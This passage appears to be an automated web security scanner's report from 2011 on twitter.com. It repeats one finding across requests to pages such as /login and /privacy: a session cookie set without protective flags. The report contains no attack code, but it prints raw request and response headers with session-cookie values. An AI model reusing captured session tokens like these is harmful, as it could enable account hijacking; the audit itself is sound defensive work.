__utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:31:39 GMT Server: hi Status: 200 OK X-Transaction: 1296664298-2828-7354 ETag: "7249bed2734938c6018000a190afe33a" Last-Modified: Wed, 02 Feb 2011 16:31:38 GMT X-Runtime: 0.65005 Content-Type: text/html; charset=utf-8 Content-Length: 45692 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /tos HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:31:49 GMT Server: hi Status: 200 OK X-Transaction: 1296664309-96826-22721 ETag: "3578b323c4cba21e462682fa9b8e39ef" Last-Modified: Wed, 02 Feb 2011 16:31:49 GMT X-Runtime: 0.04877 Content-Type: text/html; charset=utf-8 Content-Length: 30494 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /widgets HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 301 Moved Permanently Date: Wed, 02 Feb 2011 16:31:50 GMT Server: hi Status: 301 Moved Permanently X-Transaction: 1296664310-37706-43310 Last-Modified: Wed, 02 Feb 2011 16:31:50 GMT Location: http://twitter.com/about/resources/widgets X-Runtime: 0.01242 Content-Type: text/html; charset=utf-8 Content-Length: 108 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<html><body>You are being <a href="http://twitter.com/about/resources/widgets">redirected</a>.</body></html>
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:23:49 GMT Server: hi Status: 200 OK X-Transaction: 1296663829-29665-12597 ETag: "5bfef3a89d06a35d313b487532fda84d" Last-Modified: Wed, 02 Feb 2011 16:23:49 GMT X-Runtime: 0.01202 Content-Type: text/html; charset=utf-8 Content-Length: 43870 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /about HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:23:49 GMT Server: hi Status: 200 OK X-Transaction: 1296663829-39741-2650 ETag: "185a712cbbe04170b42cfcfa825d496a" Last-Modified: Wed, 02 Feb 2011 16:23:49 GMT X-Runtime: 0.04372 Content-Type: text/html; charset=utf-8 Content-Length: 15205 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /about/contact HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:23:50 GMT Server: hi Status: 200 OK X-Transaction: 1296663830-25196-21351 ETag: "d1474b551eb390afd328672c866ae2cc" Last-Modified: Wed, 02 Feb 2011 16:23:50 GMT X-Runtime: 0.02612 Content-Type: text/html; charset=utf-8 Content-Length: 11005 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /about/resources HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:23:49 GMT Server: hi Status: 200 OK X-Transaction: 1296663829-91912-42975 ETag: "82c647499a9c4824e9705c4ed7666576" Last-Modified: Wed, 02 Feb 2011 16:23:49 GMT X-Runtime: 0.04483 Content-Type: text/html; charset=utf-8 Content-Length: 12711 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /account/complete HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:23:49 GMT Server: hi Status: 200 OK X-Transaction: 1296663829-39175-45772 ETag: "d87313621fe8eb4c3bb6e553b36a723c" Last-Modified: Wed, 02 Feb 2011 16:23:49 GMT X-Runtime: 0.01703 Content-Type: text/html; charset=utf-8 Content-Length: 9588 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /account/resend_password HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:23:49 GMT Server: hi Status: 200 OK X-Transaction: 1296663829-47909-42577 ETag: "cd6bf1c92ed54f9dfd3bc7dbfa4eb250" Last-Modified: Wed, 02 Feb 2011 16:23:49 GMT X-Runtime: 0.01790 Content-Type: text/html; charset=utf-8 Content-Length: 9771 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /login HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:23:49 GMT Server: hi Status: 200 OK X-Transaction: 1296663829-84839-37216 ETag: "f59b9932bf1f116993e288cd452bbeec" Last-Modified: Wed, 02 Feb 2011 16:23:49 GMT X-Runtime: 0.04626 Content-Type: text/html; charset=utf-8 Content-Length: 12742 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /privacy HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:23:49 GMT Server: hi Status: 200 OK X-Transaction: 1296663829-44764-23640 ETag: "e419132d97dc15ec2ccd3b01ef855c92" Last-Modified: Wed, 02 Feb 2011 16:23:49 GMT X-Runtime: 0.03586 Content-Type: text/html; charset=utf-8 Content-Length: 18964 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
